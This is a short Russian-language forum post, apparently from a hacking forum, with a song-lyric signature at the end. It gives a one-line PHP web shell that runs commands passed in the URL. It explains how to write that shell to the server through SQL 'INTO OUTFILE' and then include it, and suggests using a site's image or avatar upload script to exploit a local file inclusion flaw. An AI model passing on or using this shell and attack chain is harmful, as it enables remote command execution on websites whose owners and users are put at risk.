самый маленький шелл это
<? system($_GET[c]) ?>
записываешь через инто аутфайл и инклудишь

Вообще если у тебя есть локальный инклуд, попробуй найти на сайте какой нить скрипт заливки картинок, аватаров в форуме например

__________________
God forgive me for I have sinned
It’s been six months since my last confession
There is nowhere that I can run to
My soul I place in your hands